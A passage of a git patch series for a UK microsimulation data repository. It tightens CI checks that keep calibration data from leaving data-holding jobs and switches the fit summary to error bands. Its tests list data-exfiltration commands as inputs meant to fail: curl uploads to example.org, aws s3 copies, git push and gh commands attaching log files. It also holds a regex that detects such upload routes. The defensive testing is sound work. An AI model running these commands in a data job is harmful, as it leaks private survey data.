+        # holds the data: its location can be moved (UV_CACHE_DIR).
+        with:
+          save-cache: false
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
diff --git a/.github/workflows/push.yaml b/.github/workflows/push.yaml
index fccbbeee..6bf4ae29 100644
--- a/.github/workflows/push.yaml
+++ b/.github/workflows/push.yaml
@@ -123,6 +123,10 @@ jobs:
           fetch-depth: 0 # Fetch all history for all tags and branches
       - name: Install uv
         uses: astral-sh/setup-uv@v8.1.0
+        # Restore uv's package cache but never save one from a job that
+        # holds the data: its location can be moved (UV_CACHE_DIR).
+        with:
+          save-cache: false
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index 1cfea7c5..1f8eb424 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -8,13 +8,14 @@
 
 What the check does:
 
-- A job **can reach the data** when it, or its workflow, uses any secret
-  other than the GitHub token (presumed a data credential whatever it is
-  called), passes secrets on, signs in to Google Cloud, or downloads
+- A job **can reach the data** when it, or its workflow, mentions
+  ``secrets`` in any form other than ``secrets.GITHUB_TOKEN`` (presumed a
+  data credential whatever it is called), passes secrets on, can request an
+  OIDC token (``id-token: write``), signs in to Google Cloud, or downloads
   artifacts.
 - In such a job, every action must be reviewed for the inputs it is given
   (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the
-  workspace. Every artifact upload must name literal files reviewed for that
+  workspace, and setup-uv must not save its cache (``save-cache: false``). Every artifact upload must name literal files reviewed for that
   job in ``REVIEWED``: no directories, globs, exclusions or expressions.
   Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command
   reviewed for that job.
@@ -43,15 +44,21 @@
 WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows"
 WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml"))
 
-# Any secret but these is presumed to reach the data.
-NON_DATA_SECRETS = ("secrets.GITHUB_TOKEN",)
-_SECRET = re.compile(r"secrets\.[A-Za-z_][A-Za-z0-9_]*")
+# Any mention of secrets but this one is presumed to reach the data, in any
+# syntax: secrets.NAME, secrets['NAME'], toJSON(secrets) (Sol re-review 2 of
+# #603).
+NON_DATA_SECRET = "secrets.GITHUB_TOKEN"
 DATA_ACTIONS = ("google-github-actions/auth",)
+# Commands that fetch or build the data, which a job publishing its whole
+# workspace must not run.
+DATA_COMMAND = re.compile(
+    r"make (download|data)\b|huggingface|hf_hub|policyengine_uk_data/storage"
+)
 
-# Actions that publish nothing when given only these inputs. setup-uv
-# caches Python packages, not datasets; its cache-path inputs are not
-# reviewed, so pointing its cache at the workspace fails (Sol re-review of
-# #603, finding 1). ``enable-cache`` may only turn caching off.
+# Actions that publish nothing when given only these inputs. setup-uv's
+# cache is on by default on hosted runners and its location can be moved
+# (UV_CACHE_DIR, [tool.uv] cache-dir), so in a data job it must not save:
+# ``save-cache: false``, or ``enable-cache: false`` (Sol re-reviews of #603).
 REVIEWED_ACTIONS = {
     "actions/checkout": {
         "fetch-depth",
@@ -65,7 +72,7 @@
     },
     "actions/setup-python": {"python-version"},
     "actions/setup-node": {"node-version"},
-    "astral-sh/setup-uv": {"version", "python-version", "enable-cache"},
+    "astral-sh/setup-uv": {"version", "python-version", "enable-cache", "save-cache"},
     "google-github-actions/auth": {"service_account", "workload_identity_provider"},
     "actions/create-github-app-token": {"app-id", "private-key"},
     "actions/download-artifact": {"name", "path", "pattern", "merge-multiple"},
@@ -87,21 +94,25 @@
     ("versioning.yaml", "Versioning"): {
         "artifacts": {},
         "commands": (),
-        # Commits the version bump. Its secrets are the GitHub app's, and the
-        # job builds no data and downloads nothing.
+        # Commits the version bump. Its secrets are the GitHub app's. It
+        # commits the whole workspace, so it must fetch and build no data
+        # (checked: no run line matches DATA_COMMAND).
         "actions": {
             "EndBug/add-and-commit": {"add": ".", "message": "Update package version"}
         },
+        "no_data_commands": True,
     },
 }
 
 PUBLISH_COMMAND = re.compile(
-    r"make upload|publish-git-tag|\bgh (release|gist|api|pr comment|issue comment)\b"
-    r"|\bgit push\b|\bcurl\b.*(\s-T\b|--upload-file|\s-F\b|--data|\s-d\b|-X\s*(POST|PUT|PATCH))"
-    r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b"
+    r"make upload|publish-git-tag|\bgh\s+[a-z]"  # any gh command
+    r"|\bgit push\b"
+    r"|\bcurl\b.*(--upload-file|--form|--json|--data|--request\s+(POST|PUT|PATCH)"
+    r"|-X\s*(POST|PUT|PATCH)|\s-[A-Za-z]*[TFd][A-Za-z]*\b)"
+    r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
-_EMPTY = {"artifacts": {}, "commands": (), "actions": {}}
+_EMPTY = {"artifacts": {}, "commands": (), "actions": {}, "no_data_commands": False}
 
 
 def _jobs(workflow: dict) -> dict:
@@ -115,7 +126,15 @@ def _triggers(workflow: dict) -> dict:
 
 
 def _uses_data_secret(text: str) -> bool:
-    return any(s not in NON_DATA_SECRETS for s in _SECRET.findall(text))
+    return bool(re.search(r"\bsecrets\b", text.replace(NON_DATA_SECRET, "")))
+
+
+def _requests_oidc(block) -> bool:
+    permissions = (block or {}).get("permissions")
+    return (
+        isinstance(permissions, dict)
+        and str(permissions.get("id-token", "")).strip('"') == "write"
+    )
 
 
 def reaches_data(job: dict, workflow: dict | None = None) -> bool:
@@ -124,10 +143,14 @@ def reaches_data(job: dict, workflow: dict | None = None) -> bool:
         {"env": workflow.get("env"), "defaults": workflow.get("defaults")}
     )
     call = _triggers(workflow).get("workflow_call") or {}
-    if _uses_data_secret(shared) or (isinstance(call, dict) and call.get("secrets")):
+    if (
+        _uses_data_secret(shared)
+        or (isinstance(call, dict) and call.get("secrets"))
+        or _requests_oidc(workflow)
+    ):
         return True
     text = yaml.safe_dump(job)
-    if "secrets" in job or _uses_data_secret(text):
+    if "secrets" in job or _uses_data_secret(text) or _requests_oidc(job):
         return True
     return any(
         str(step.get("uses", "")).split("@", 1)[0]
@@ -210,13 +233,21 @@ def problems(name: str, workflow: dict) -> list:
                             f"{where} gives {action} unreviewed inputs: "
                             + ", ".join(sorted(extra))
                         )
-                    if action == "astral-sh/setup-uv" and inputs.get(
-                        "enable-cache", False
-                    ) not in (False, "false"):
-                        out.append(f"{where} turns setup-uv's cache on explicitly")
+                    if action == "astral-sh/setup-uv":
+                        off = lambda key: inputs.get(key) in (False, "false")  # noqa: E731
+                        if not (off("save-cache") or off("enable-cache")):
+                            out.append(
+                                f"{where} lets setup-uv save its cache "
+                                "(set save-cache: false)"
+                            )
                 else:
                     out.append(f"{where} uses an unreviewed action: {uses}")
             script = str(step.get("run", ""))
+            if reviewed["no_data_commands"] and DATA_COMMAND.search(script):
+                out.append(
+                    f"{where} publishes its workspace, so it must not fetch or "
+                    "build the data"
+                )
             for line in logical_lines(script):
                 if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]:
                     out.append(
@@ -262,7 +293,7 @@ def test_every_reviewed_entry_names_a_real_job():
     "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"},
     "steps": [
         {"uses": "actions/checkout@v6"},
-        {"uses": "astral-sh/setup-uv@v8.1.0"},
+        {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"save-cache": False}},
         {"run": "uv run --frozen make data"},
     ],
 }
@@ -316,6 +347,11 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "aws s3 cp . s3://bucket --recursive"},
         {"run": "git push origin HEAD:logs"},
         {"run": "curl \\\n  -T la_calibration_log.csv \\\n  https://example.org/"},
+        {"run": "gh issue create -t x --body-file constituency_calibration_log.csv"},
+        {"run": "gh pr edit 1 --body-file la_calibration_log.csv"},
+        {"run": "curl -sT la_calibration_log.csv https://example.org/"},
+        {"run": "curl --form f=@la_calibration_log.csv https://example.org/"},
+        {"run": "curl --json @la_calibration_log.csv https://example.org/"},
     ],
 )
 def test_other_routes_out_of_a_data_job_fail(step):
@@ -329,16 +365,22 @@ def test_other_routes_out_of_a_data_job_fail(step):
         {"cache-local-path": "."},
         {"enable-cache": True},
         {"cache-dependency-glob": "**/*.csv"},
+        {},  # the default saves the cache on hosted runners
+        None,
     ],
 )
-def test_a_set_up_action_pointed_at_the_workspace_fails(inputs):
-    """Sol re-review of #603, finding 1: setup-uv's post step saves its cache."""
-    assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs})
+def test_setup_uv_saving_its_cache_in_a_data_job_fails(inputs):
+    """Sol re-reviews of #603: the post step saves the cache, wherever
+    UV_CACHE_DIR points by then."""
+    step = {"uses": "astral-sh/setup-uv@v8.1.0"}
+    if inputs is not None:
+        step["with"] = inputs
+    assert _with_step(step)
 
 
-def test_turning_setup_uvs_cache_off_passes():
-    step = {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"enable-cache": False}}
-    assert _with_step(step) == []
+@pytest.mark.parametrize("inputs", [{"save-cache": False}, {"enable-cache": False}])
+def test_setup_uv_that_does_not_save_passes(inputs):
+    assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs}) == []
 
 
 @pytest.mark.parametrize(
@@ -380,6 +422,9 @@ def test_a_workflow_level_credential_makes_every_job_a_data_job():
     "job",
     [
         {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []},
+        {"env": {"HF": "${{ secrets['HUGGING_FACE_TOKEN'] }}"}, "steps": []},
+        {"env": {"ALL": "${{ toJSON(secrets) }}"}, "steps": []},
+        {"permissions": {"id-token": "write"}, "steps": []},
         {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"},
         {"steps": [{"uses": "google-github-actions/auth@v3"}]},
         {"steps": [{"uses": "actions/download-artifact@v8"}]},
@@ -459,3 +504,17 @@ def test_a_reviewed_file_needs_its_producer_in_an_earlier_step(producer, monkeyp
     assert _with_step(_upload("summary.json"), produce)
     assert _with_step(produce, _upload("summary.json")) == []
     assert _with_step(produce, _upload("summary.json\nlog.csv"))
+
+
+def test_a_workflow_level_oidc_permission_makes_a_data_job():
+    workflow = {"permissions": {"id-token": "write"}, "jobs": {"a": {"steps": []}}}
+    assert reaches_data(workflow["jobs"]["a"], workflow)
+
+
+def test_the_versioning_commit_may_not_follow_a_data_build():
+    """Sol re-review 2 of #603, finding 3: it commits the whole workspace."""
+    data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml"))
+    _jobs(data)["Versioning"]["steps"].insert(1, {"run": "uv run make data"})
+    assert any(
+        "must not fetch or build" in p for p in problems("versioning.yaml", data)
+    )

From 30fbb8353fb5250bf836167e969989508379ea39 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 16:08:16 -0400
Subject: [PATCH 43/76] Publish error bands and flag a worse band (Sol
 re-review 2 of #599)

The within-10% boolean could not see a target worsening outside the band.
The summary now holds each target's error band (within 10%, 10-25%,
25-50%, 50-100%, over 100%), still a bound and not a value, and flags a
national target whose band is worse on the head: 2 to 12 per same-code
pair (mean 7). Also: repeated local targets are refused; the fit summary
runs after the tests with !cancelled(); data jobs restore but never save
uv's cache; fit_policy.yaml records the run ids, the log folders and the
status of the replacement rule.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           | 39 ++++++----
 changelog.d/fit-comparison.added.md           |  2 +-
 policyengine_uk_data/targets/fit_policy.yaml  | 29 +++++---
 policyengine_uk_data/tests/test_fit_report.py | 37 ++++++++--
 policyengine_uk_data/utils/fit_report.py      | 74 ++++++++++++-------
 5 files changed, 122 insertions(+), 59 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 8e7b3073..6d9e666f 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -72,6 +72,10 @@ jobs:
           fetch-depth: 0 # Fetch all history for all tags and branches
       - name: Install uv
         uses: astral-sh/setup-uv@v8.1.0
+        # Restore uv's package cache but never save one from a job that
+        # holds the data: its location can be moved (UV_CACHE_DIR).
+        with:
+          save-cache: false
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
@@ -86,30 +90,31 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
-      # The raw calibration logs stay on the runner: a target supported by a
-      # few households, divided by a published count, could give one
-      # household's value back. Only the summary the fit comparison needs is
-      # uploaded (utils/fit_report.py).
+      - name: Run tests
+        run: uv run --frozen make test
+        env:
+          # Relaxes built-dataset outcome tolerances to match the reduced
+          # fidelity of the TESTING build above (see test_cgt_band_donors).
+          TESTING: "1"
+      # After the tests, whatever they did. The raw calibration logs stay on
+      # the runner: a target supported by a few households, divided by a
+      # published count, could give one household's value back. Only the
+      # summary the fit comparison needs is uploaded (utils/fit_report.py).
       - name: Summarise the calibration fit
+        if: ${{ !cancelled() }}
         run: uv run --frozen python -m policyengine_uk_data.utils.fit_report summarise constituency_calibration_log.csv --out fit_summary.json
       - name: Save the fit summary
+        if: ${{ !cancelled() }}
         uses: actions/upload-artifact@v7
         with:
           name: fit_summary.json
           path: fit_summary.json
-
-      - name: Run tests
-        run: uv run --frozen make test
-        env:
-          # Relaxes built-dataset outcome tolerances to match the reduced
-          # fidelity of the TESTING build above (see test_cgt_band_donors).
-          TESTING: "1"
   # The no-worsening check (W3). The base is built the same way as the head:
   # TESTING, one clone and the head's lockfile, so both builds run one model
   # and environment and the comparison measures the data change. As in the
   # test job, only the fit summary leaves it. No dataset or calibration log
-  # is uploaded, and no dataset is cached (setup-uv caches Python packages
-  # only).
+  # is uploaded, and nothing is cached: setup-uv restores uv's package cache
+  # and saves none.
   base-build:
     name: Build the base for comparison
     runs-on: ubuntu-latest
@@ -130,6 +135,10 @@ jobs:
           path: base
       - name: Install uv
         uses: astral-sh/setup-uv@v8.1.0
+        # Restore uv's package cache but never save one from a job that
+        # holds the data: its location can be moved (UV_CACHE_DIR).
+        with:
+          save-cache: false
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
@@ -170,6 +179,10 @@ jobs:
       - uses: actions/checkout@v6
       - name: Install uv
         uses: astral-sh/setup-uv@v8.1.0
+        # Restore uv's package cache but never save one from a job that
+        # holds the data: its location can be moved (UV_CACHE_DIR).
+        with:
+          save-cache: false
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
diff --git a/changelog.d/fit-comparison.added.md b/changelog.d/fit-comparison.added.md
index b996a583..89d7d993 100644
--- a/changelog.d/fit-comparison.added.md
+++ b/changelog.d/fit-comparison.added.md
@@ -1 +1 @@
-Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets that are within 10% on the base and not on the head are flagged in a pull request comment. The raw calibration logs stay on the runner; only a summary of which targets are within 10% is uploaded, with no estimate or error (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`).
+Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets in a worse error band on the head are flagged in a pull request comment. The raw calibration logs stay on the runner; only each target's error band (within 10%, 10-25%, 25-50%, 50-100%, over 100%) is uploaded, with no estimate or error (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`).
diff --git a/policyengine_uk_data/targets/fit_policy.yaml b/policyengine_uk_data/targets/fit_policy.yaml
index 2fe344d2..5b71730b 100644
--- a/policyengine_uk_data/targets/fit_policy.yaml
+++ b/policyengine_uk_data/targets/fit_policy.yaml
@@ -2,7 +2,7 @@
 # (utils/fit_report.py). Both builds run the same way in pull request CI:
 # TESTING, 32 epochs, one output-area clone, the head's lockfile.
 #
-# Adopted under cos d1344 (15 October 2026), from the final-epoch fits of
+# The share allowance was adopted under cos d1344 (15 October 2026), from the final-epoch fits of
 # five builds of the same data code: docs, changelog and CI pull requests
 # while main's data code was unchanged from b34a4ea2 to 2b9c1c2c (runs
 # 38006434333, 37959581668, 38009046475, 37960852139, 37864653693).
@@ -20,17 +20,28 @@ share_within_10pct:
   allowed_drop: 0.02
 
 national_target:
-  # Flag, for review, each national target within 10% of its value on the
-  # base build and not on the head. Across the 20 ordered pairs of the five
-  # builds above, 1 to 10 of the 644 national targets leave the band per
-  # pair (mean 4.5), so a list stays short.
+  # Flag, for review, each national target whose error band is worse on the
+  # head than on the base. Bands of |estimate / target - 1|: within 10%,
+  # 10-25%, 25-50%, 50-100%, over 100% (fit_report.BANDS). Across the 20
+  # ordered pairs of the five same-code builds above, 2 to 12 of the 644
+  # national targets move to a worse band per pair (mean 7), so a list stays
+  # short. #551's build moves 31 and #579's 27 against the 1.58.1 release
+  # branch's build.
   #
   # This replaces flagging an error rise of more than 0.2 (adopted under
   # d1344 on 15 October), which needed each target's error in the uploaded
   # summary. Sol's re-review of #599 found no safe way to publish them: the
   # dataset repeats households (output-area clones, SPI and CGT donors), so
   # a count of rows can't show how many respondents support an estimate, and
-  # one household can dominate a target. The within-10% booleans are bounds,
-  # not values. Same-code pairs gave 0 to 6 flags under the old rule.
-  # Per-target moves don't fail until #598 is fixed.
-  flag: left_band
+  # one household can dominate a target. A band is a bound, not a value.
+  # The old rule gave 0 to 6 flags per same-code pair. Bands still can't see
+  # a move inside one band (say 30% to 45%). The replacement is a W3
+  # threshold call under d1344's delegation (thresholds on evidence, with an
+  # independent review agreeing), pending that review. Per-target moves
+  # don't fail until #598 is fixed.
+  #
+  # Run ids of the five builds and their saved log folders: 38006434333
+  # (docs-ebdbbce5), 37959581668 (docs-2a071400), 38009046475
+  # (changelog-6af935fb), 37960852139 (changelog-bb41c3ca), 37864653693
+  # (ci-push-gate-03b3ecd9); the 1.58.1 release branch is 38228500493.
+  flag: worse_band
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 03cb056a..9b567e78 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -9,7 +9,9 @@
 from hypothesis import strategies as st
 
 from policyengine_uk_data.utils.fit_report import (
+    BANDS,
     FitPolicy,
+    band,
     compare,
     load_policy,
     main,
@@ -42,9 +44,10 @@ def test_summarise_reads_the_last_epoch_and_drops_zero_targets():
     log.loc[log.epoch == 0, "estimate"] = 1  # earlier epochs are ignored
     s = summarise(log)
     assert s["epoch"] == 30
-    assert s["national"] == {"a": True, "b": False}
+    # Bands of |estimate / target - 1|: 0.05 is within 10%, 0.5 is 25-50%.
+    assert s["national"] == {"a": 0, "b": 2}
     assert "zero" not in s["national"]
-    assert s["local"] == {"E0|local/0": True, "E1|local/1": False}
+    assert s["local"] == {"E0|local/0": 0, "E1|local/1": 3}
 
 
 @settings(max_examples=100, deadline=None)
@@ -61,7 +64,7 @@ def test_the_summary_publishes_no_estimate_or_error(estimates, target):
     )
     s = summarise(log)
     for group in ("national", "local"):
-        assert all(isinstance(v, bool) for v in s[group].values())
+        assert all(type(v) is int and 0 <= v < len(BANDS) for v in s[group].values())
     text = json.dumps(s)
     for e in estimates:
         assert repr(e) not in text and repr(abs(e / target - 1)) not in text
@@ -99,16 +102,34 @@ def test_a_drop_beyond_the_allowance_fails_and_within_it_passes():
     assert compare(base, _summary([0.5] + [0.0] * 99), POLICY)["status"] == "pass"
 
 
-def test_a_target_leaving_the_band_flags_and_one_entering_is_a_note():
+def test_a_target_in_a_worse_band_flags_and_a_better_one_is_a_note():
     base = _summary([0.0, 0.5] + [0.0] * 98)
     head = _summary([0.5, 0.0] + [0.0] * 98)
     result = compare(base, head, POLICY)
     assert result["status"] == "pass"
-    assert result["flags"] == [{"target": "t0"}]
-    assert "1 national targets come within 10% on the head." in result["notes"]
-    # A move inside the band, or outside it, is not a flag.
+    assert result["flags"] == [{"target": "t0", "base": "within 10%", "head": "25-50%"}]
+    assert "1 national targets are in a better band on the head." in result["notes"]
+    # Sol re-review of #599: a target worsening outside 10% flags too.
+    assert compare(_summary([0.15]), _summary([3.0]), POLICY)["flags"] == [
+        {"target": "t0", "base": "10-25%", "head": "over 100%"}
+    ]
+    # A move inside one band is not a flag.
     assert compare(_summary([0.01]), _summary([0.09]), POLICY)["flags"] == []
-    assert compare(_summary([0.2]), _summary([0.9]), POLICY)["flags"] == []
+    assert compare(_summary([0.3]), _summary([0.45]), POLICY)["flags"] == []
+
+
+@pytest.mark.parametrize(
+    "error, expected",
+    [(0.0, 0), (0.1, 0), (0.1000001, 1), (0.25, 1), (0.5, 2), (1.0, 3), (1.01, 4)],
+)
+def test_band_edges_are_inclusive(error, expected):
+    assert band(error) == expected
+
+
+def test_a_repeated_local_target_is_refused():
+    log = _log({"a": (1, 1)}, local=[(1, 1)])
+    with pytest.raises(ValueError, match="repeats a local target"):
+        summarise(pd.concat([log, log[log.name != "UK"]]))
 
 
 def test_added_targets_do_not_count_against_the_existing_ones():
diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py
index e0ea634a..9a42581b 100644
--- a/policyengine_uk_data/utils/fit_report.py
+++ b/policyengine_uk_data/utils/fit_report.py
@@ -4,15 +4,16 @@
 and value every tenth epoch and at the last one, nationally (rows named
 ``UK``) and for each constituency. The log stays on the runner that built
 it. ``summarise`` reduces its last epoch to what the comparison needs, and
-only the summary is uploaded: for every national and local target, whether
-its estimate is within 10% of its value (|estimate / target - 1| <= 0.1),
-with zero targets left out. No estimate or error leaves the runner. An
+only the summary is uploaded: for every national and local target, the band
+its error |estimate / target - 1| falls in (``BANDS``: within 10%, 10-25%,
+25-50%, 50-100%, over 100%), with zero targets left out. No estimate or
+error leaves the runner. An
 estimate built from a few households, or dominated by one, divided by a
 published count, could give that household's value back, and the dataset
 repeats households (output-area clones, SPI and CGT donors), so a count of
 rows can't show how many respondents support a figure (Sol re-review of
-#599). Whether an estimate is within 10% of a public target is a bound, not
-a value.
+#599). A band, at least 10% of a public target wide, is a bound, not a
+value.
 
 ``compare`` checks that a pull request does not worsen the fit of the build
 it would replace, built the same way (same environment, epochs and clones),
@@ -21,9 +22,9 @@
 - **Fail** when the share of national, or of local, targets within 10%
   falls by more than the allowance, over the targets both builds have.
   Added and removed targets are reported, not counted.
-- **Flag**, for review, each national target that is within 10% on the
-  base and not on the head. Per-target moves do not fail while builds of
-  the same code move 1 to 10 national targets out of the band (#598).
+- **Flag**, for review, each national target whose band is worse on the
+  head than on the base. Per-target moves do not fail while builds of the
+  same code move 2 to 12 national targets to a worse band (#598).
 
     python -m policyengine_uk_data.utils.fit_report summarise LOG.csv --out summary.json
     python -m policyengine_uk_data.utils.fit_report compare BASE.json HEAD.json [--markdown out.md]
@@ -43,8 +44,10 @@
 import yaml
 
 POLICY_PATH = Path(__file__).parents[1] / "targets" / "fit_policy.yaml"
-SCHEMA = "policyengine-uk-data-fit-summary/2"
-WITHIN = 0.10
+SCHEMA = "policyengine-uk-data-fit-summary/3"
+# Upper edges of the error bands; band 0 is within 10%.
+BAND_EDGES = (0.10, 0.25, 0.50, 1.00)
+BANDS = ("within 10%", "10-25%", "25-50%", "50-100%", "over 100%")
 _COLUMNS = ["name", "index", "metric", "estimate", "target", "epoch"]
 
 
@@ -58,13 +61,18 @@ def load_policy(path=None) -> FitPolicy:
         raw = yaml.safe_load(f)
     if raw.get("schema_version") != 1:
         raise ValueError("fit policy: schema_version must be 1")
-    if raw.get("national_target", {}).get("flag") != "left_band":
-        raise ValueError("fit policy: national_target.flag must be left_band")
+    if raw.get("national_target", {}).get("flag") != "worse_band":
+        raise ValueError("fit policy: national_target.flag must be worse_band")
     return FitPolicy(
         share_drop_allowance=float(raw["share_within_10pct"]["allowed_drop"]),
     )
 
 
+def band(error: float) -> int:
+    """The index in ``BANDS`` of an error: 0 when within 10% (inclusive)."""
+    return int(np.searchsorted(BAND_EDGES, float(error), side="left"))
+
+
 def summarise(log) -> dict:
     """The last epoch of a calibration log, reduced to what may leave the runner."""
     if isinstance(log, pd.DataFrame):
@@ -84,6 +92,8 @@ def summarise(log) -> dict:
         )
     national = national[national.target != 0].set_index("metric")
     local = rows[(rows.name != "UK") & (rows.target != 0)]
+    if local.duplicated(["index", "metric"]).any():
+        raise ValueError("the calibration log repeats a local target at its last epoch")
     n_errors = (national.estimate / national.target - 1).abs()
     l_errors = (local.estimate / local.target - 1).abs()
     if not np.isfinite(n_errors).all() or not np.isfinite(l_errors).all():
@@ -93,11 +103,9 @@ def summarise(log) -> dict:
         "epoch": last,
         "rows_last_epoch": int(len(rows)),
         "rows_previous_epoch": previous,
-        "national": {
-            metric: bool(error <= WITHIN) for metric, error in n_errors.items()
-        },
+        "national": {metric: band(error) for metric, error in n_errors.items()},
         "local": {
-            f"{i}|{m}": bool(e <= WITHIN)
+            f"{i}|{m}": band(e)
             for i, m, e in zip(local["index"], local.metric, l_errors)
         },
     }
@@ -150,8 +158,8 @@ def compare(base: dict, head: dict, policy: FitPolicy) -> dict:
         b, h = base[name], head[name]
         common = sorted(set(b) & set(h))
         added, removed = sorted(set(h) - set(b)), sorted(set(b) - set(h))
-        before = _share([bool(b[k]) for k in common])
-        after = _share([bool(h[k]) for k in common])
+        before = _share([b[k] == 0 for k in common])
+        after = _share([h[k] == 0 for k in common])
         summary[name] = {
             "base": before,
             "head": after,
@@ -175,12 +183,19 @@ def compare(base: dict, head: dict, policy: FitPolicy) -> dict:
                 f"more than the {policy.share_drop_allowance:.1%} allowed."
             )
     common = sorted(set(base["national"]) & set(head["national"]))
+    b_band, h_band = base["national"], head["national"]
     flags = [
-        {"target": t} for t in common if base["national"][t] and not head["national"][t]
+        {"target": t, "base": BANDS[b_band[t]], "head": BANDS[h_band[t]]}
+        for t in common
+        if h_band[t] > b_band[t]
     ]
-    entered = sum(1 for t in common if head["national"][t] and not base["national"][t])
-    if entered:
-        notes.append(f"{entered} national targets come within 10% on the head.")
+    # Largest moves first.
+    flags.sort(
+        key=lambda f: (BANDS.index(f["base"]) - BANDS.index(f["head"]), f["target"])
+    )
+    better = sum(1 for t in common if h_band[t] < b_band[t])
+    if better:
+        notes.append(f"{better} national targets are in a better band on the head.")
     return {
         "status": "fail" if failures else "pass",
         "failures": failures,
@@ -211,20 +226,23 @@ def render(result: dict, policy: FitPolicy) -> str:
     flags = result["flags"]
     lines += [
         "",
-        f"### National targets within 10% on the base and not on the head ({len(flags)})",
+        f"### National targets in a worse error band on the head ({len(flags)})",
         "",
     ]
     if flags:
-        lines += [f"- `{f['target']}`" for f in flags[:30]]
+        lines += ["| Target | Base | Head |", "|---|---|---|"]
+        lines += [
+            f"| `{f['target']}` | {f['base']} | {f['head']} |" for f in flags[:30]
+        ]
         if len(flags) > 30:
             lines.append(f"\n{len(flags) - 30} more in the job log.")
     else:
         lines.append("None.")
     lines += [
         "",
-        "Flags are for review: builds of the same code move 1 to 10 national "
-        "targets out of the band (#598). No target's estimate or error is "
-        "published.",
+        "Flags are for review: builds of the same code move 2 to 12 national "
+        "targets to a worse band (#598). Bands are of |estimate / target - 1|; "
+        "no target's estimate or error is published.",
     ]
     return "\n".join(lines) + "\n"
 
@@ -262,7 +280,7 @@ def main(argv: Optional[list] = None) -> int:
         Path(args.markdown).write_text(text)
     print(text)
     for flag in result["flags"]:
-        print(f"flag: {flag['target']} left the 10% band")
+        print(f"flag: {flag['target']} {flag['base']} -> {flag['head']}")
     return 1 if result["status"] == "fail" else 0
 
 

From 13e8eb23cf007f619cd28fda97f0b9ed64d1d464 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 16:30:56 -0400
Subject: [PATCH 44/76] Pin the aggregate-impact tool to policyengine-uk#2425's
 c0d0c49d

That head records local installs and fingerprints the model at both ends
of a measurement, so this PR's CI runs the identity checks the batch will.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index cbc3cb70..0b840994 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -128,7 +128,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
+          ref: c0d0c49d663de48308788605453804a494b9f5b5
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -231,7 +231,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
+          ref: c0d0c49d663de48308788605453804a494b9f5b5
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -305,7 +305,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
+          ref: c0d0c49d663de48308788605453804a494b9f5b5
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact

From 3991f6975b9c88ec5d15e95594ec4ca5e382a5b3 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 16:53:38 -0400
Subject: [PATCH 45/76] Report dry-run refusals, record download-time basis,
 tighten OBR checks
MIME-Version: 1.0
